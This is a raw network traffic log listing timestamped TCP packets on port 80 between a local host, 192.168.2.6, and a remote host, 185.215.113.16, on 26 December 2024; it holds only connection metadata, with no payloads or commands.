Dec 26, 2024 12:52:13.871078968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.871699095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.871742010 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.871813059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.872221947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.872562885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.872665882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.872796059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.873425007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.873594999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.873636961 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.874250889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.874398947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.874445915 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.875103951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.875212908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.875260115 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.876018047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.876132965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.876173973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.876836061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.876961946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.877094030 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.877680063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.877969980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.878026962 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.878525972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.878686905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.878726006 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.879365921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.879477024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.879518986 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.880229950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.880330086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.880367994 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.881105900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.881196976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.881233931 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.881939888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.882060051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.882105112 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.882797956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.882922888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.883009911 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.883650064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.883852959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.883893013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.884519100 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.884696007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.884740114 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.885340929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.885456085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.885498047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.886195898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.886324883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.886372089 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.887063980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.887152910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.887273073 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.887912989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.888005018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.888046026 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.888767004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.888869047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.888904095 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.889621019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.889729977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.889769077 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.890465021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.890563965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.890604973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.891305923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.891428947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.891493082 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.892175913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.892273903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.892312050 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.893075943 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.893616915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.893717051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.894047022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.894680023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.894756079 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.895205021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.895339966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.895379066 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.895859003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.896295071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.896364927 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.897018909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.027873993 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.062899113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.062999964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.063227892 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.063261986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.063425064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.063566923 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.064081907 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.064173937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.064215899 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.064857960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.064980984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.065061092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.065639973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.065769911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.065954924 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.066551924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.066689014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.066731930 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.067404985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.067465067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.067507029 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.068312883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.068412066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.068456888 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.069067001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.069128036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.069411039 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.069963932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.070050955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.070228100 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.070877075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.071057081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.071156979 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.071787119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.071919918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.071995020 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.072488070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.072644949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.072712898 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.073352098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.073481083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.073684931 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.074187040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.074316025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.074430943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.075031042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.075155973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.075349092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.075927973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.076163054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.076221943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.076834917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.076972008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.077167988 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.077702045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.077863932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.077948093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.078525066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.078596115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.078649998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.079443932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.079767942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.079813004 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.080333948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.080452919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.080646038 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.081161022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.081268072 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.081397057 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.082010984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.082099915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.082146883 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.082740068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.082840919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.082945108 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.083589077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.083755970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.083915949 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.084422112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.084547997 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.084692955 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.085282087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.085383892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.085427999 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.086122990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.086239100 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.086285114 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.087007999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.087095022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.087174892 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.087937117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.088020086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.088063002 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.088753939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.088828087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.088874102 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.089560986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.089647055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.089688063 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.090440989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.090502977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.090548038 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.091237068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.091351986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.091543913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.092101097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.092228889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.092466116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.092951059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.093089104 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.093131065 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.093803883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.093885899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.093928099 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.094666958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.094784975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.095020056 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.095504045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.095643044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.095756054 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.096359015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.096456051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.096537113 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.097261906 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.097400904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.097575903 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.098126888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.098177910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.098388910 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.098933935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.099046946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.099252939 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.099760056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.099863052 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.100094080 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.100622892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.100732088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.100862026 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.101479053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.101581097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.101793051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.102328062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.102427006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.102471113 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.103190899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.103292942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.103354931 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.104026079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.104131937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.104172945 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.104895115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.104994059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.105032921 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.105784893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.105881929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.106048107 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.106708050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.106760979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.106806040 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.107405901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.215380907 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.273328066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.273431063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.273533106 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.273804903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.273859978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.273910046 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.274573088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.274653912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.275450945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.275497913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.275532007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.275804996 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.276256084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.276355028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.276397943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.277102947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.277185917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.277239084 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.277961969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.278083086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.278132915 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.278837919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.278956890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.278996944 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.279685020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.279805899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.279853106 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.280538082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.280627966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.280776978 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.281400919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.281514883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.281711102 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.282330036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.282390118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.282434940 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.283102989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.283164978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.283214092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.283950090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.284086943 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.284141064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.284797907 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.284904003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.285046101 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.285681963 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.285756111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.285795927 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.286572933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.286701918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.286751032 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.287400007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.287480116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.287520885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.288295984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.288412094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.288553953 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.289092064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.289197922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.289486885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.290014029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.290129900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.290314913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.290802956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.290896893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.290935040 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.291691065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.291754961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.291832924 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.292493105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.292537928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.292573929 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.293384075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.293502092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.293697119 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.294214010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.294354916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.294460058 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.295120001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.295192957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.295912981 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.295960903 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.295989990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.296793938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.296818972 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.296956062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.297616959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.297667027 CET	49842	80	192.168.2.6	185.215.113.16
